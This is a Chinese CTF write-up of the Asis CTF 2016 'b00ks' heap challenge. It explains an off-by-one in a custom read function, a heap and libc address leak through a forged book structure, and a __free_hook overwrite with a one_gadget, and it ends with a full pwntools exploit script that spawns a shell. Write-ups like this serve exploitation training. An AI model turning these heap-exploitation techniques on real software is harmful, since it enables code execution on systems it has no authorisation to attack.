Off-By-One之Asis CTF 2016 b00s

题目介绍

题目是一个表单程序,功能是一个图书管理系统。

1
2
3
4
5
6
7
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
>

程序提供了创建、删除、编辑、打印、修改author name的功能,除了 canary 外,其他保护全开

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

首先程序会要求输入author name,存到bss 段 unk_202040 中,限制大小为32,用自己构造的函数读取,接下来看create函数的功能:输入book name’s size 然后 malloc(size) ,读入name,限制长度是32,接着输入description’s size 也同样malloc(size),读入description,不限制长度。接下来为book结构体申请一个0x20的空间

1
2
3
4
5
6
7
8
9
10
book = malloc(0x20uLL);
if ( book )
{
*(book + 6) = size;
*(book_addr + id) = book;
*(book + 2) = description;
*(book + 1) = name;
*book = ++unk_202024;
return 0LL;
}

book结构体的指针会存到unk_202060处,也就是authon name 紧跟着的后面

漏洞

程序的主要漏洞就存在其自己构造的read函数中,因为对边界处理不当,导致写入时存在1个字节的溢出,即off-by-one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall my_read(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0;
return 0LL;
}

事实上,当写入author name最长长度32时,my_read 读入的结束符'\x00'是写到0x56260bc1b060上的,即unk_202040 + unk_202060也就是book_addr ,那么,当写入book1时,’\x00’就会被覆盖为book1的地址,通过打印author name就可以获得一个堆地址book1_addr。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/10gx 0x56260bc1b040
0x56260bc1b040: 0x6161616161616161 0x6161616161616161
0x56260bc1b050: 0x6161616161616161 0x6161616161616161
0x56260bc1b060: 0x0000000000000000 0x0000000000000000
0x56260bc1b070: 0x0000000000000000 0x0000000000000000
0x56260bc1b080: 0x0000000000000000 0x0000000000000000
-------------------------------------------------------------------------------------------------
pwndbg> x/10gx 0x56260bc1b040
0x56260bc1b040: 0x6161616161616161 0x6161616161616161
0x56260bc1b050: 0x6161616161616161 0x6161616161616161
0x56260bc1b060: 0x000056260bd2e160 0x0000000000000000
0x56260bc1b070: 0x0000000000000000 0x0000000000000000
0x56260bc1b080: 0x0000000000000000 0x0000000000000000

off-by-one 覆盖指针低字节

程序提供了一个change 功能,用于修改author name,所以可以通过修改author name 将book1的低字节覆盖为’\x00’,覆盖之后这个指针会指向book1 的 description ,程序同样也提供了edit功能修改description中的内容,所以我们可以在description 中布置数据伪造一个book结构,这个book结构 中的name 和 description 指针均可以直接抑制。

再次调用printf()函数打印将可直接得到book2_name_addr (这里需要注意的是,对于book2需要申请一个非常大的空间,才能使用堆块mmap分配,才能够泄漏libc base addr)在gdb中下断,用得到的book2_name_addr - libcbase 即可得到到libcbase 的偏移,这个偏移是不变的,而且每个人的环境不同偏移也可能不一样,这样就拿到了libcbase了。

因为程序开户了RELOR,got表不可改,但是可以改写__free_hook__malloc_hook结合前面泄漏的libcbase可以得到onegadget 地址,最后通过修改book1跟book2的description实现任意地址写,将__free_hook内容写入为onegadget,free即可调用onegadget(free时,如果 __free_hook不为空,即执行free_hook

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#coding:utf-8
from pwn import *
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
p = process('./b00ks')
elf = ELF('./b00ks')
libc = elf.libc
context.log_level = 'debug'
def create(name_size,name,des_size,des):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('size: ')
p.sendline(str(name_size))
p.recvuntil('(Max 32 chars): ')
p.sendline(name)
p.recvuntil('size: ')
p.sendline(str(des_size))
p.recvuntil('description: ')
# debug(0x10B7,1)
p.sendline(des)
def printf():
p.recvuntil('> ')
# debug(0xd56,1)
p.sendline('4')
def editbook(book_id,new_des,a):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil(': ')
p.writeline(str(book_id))
p.recvuntil(': ')
if a:
debug(0xf30,1)
p.sendline(new_des)
def change_author_name():
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('name: ')
debug(0xb99,1)
p.sendline('a'*32)
def delete(id):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Enter the book id you want to delete: ')
p.sendline(str(id))
p.recvuntil('name: ')
p.sendline('a'*32)
create(142,'n0va',142,'n0va')
create(0x21000,'book2_name2',0x21000,'book2_des')
# create(32,'n0va',32,'n0va')
printf()
# pause()
p.recvuntil('a'*32)
book1_addr = u64(p.recv(6).ljust(8,'\x00'))
book2_addr = book1_addr + 0x30
print "book1_addr --> " + hex(book1_addr)
print "book2_addr --> " + hex(book2_addr)
# book1_addr + 0x38 = book2_name
# book1_addr + 0x40 = book2_des
payload = 'a'*0x40 + p64(1) + p64(book1_addr+0x38) + p64(book1_addr+0x40) + p64(0xffff)
editbook(1,payload,0)
change_author_name()
printf()
p.recvuntil('Name: ')
book2_name_addr = u64(p.recv(6).ljust(8,'\x00'))
p.recvuntil('Description: ')
book2_des_addr = u64(p.recv(6).ljust(8,'\x00'))
print "book2_name_addr --> " + hex(book2_name_addr)
print "book2_des_addr --> " + hex(book2_des_addr)
pause()
offset = 0x5ac010 #泄漏出来的地址(即book2_name_addr)跟 libcbase的偏移,不同环境这个值会不同
libcbase = book2_name_addr - offset
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
onegadget = libcbase + 0x4526a
binsh_addr = libc.search('/bin/sh').next() + libcbase
print "free_hook --> " + hex(free_hook)
print "system --> " + hex(system)
print "binsh_addr --> " + hex(binsh_addr)
print "onegadget --> " + hex(onegadget)
# pause()

payload = p64(free_hook) + p64(free_hook)
editbook(1,payload,0)
payload = p64(onegadget)
editbook(2,payload,0)
delete(2)
p.interactive()
0%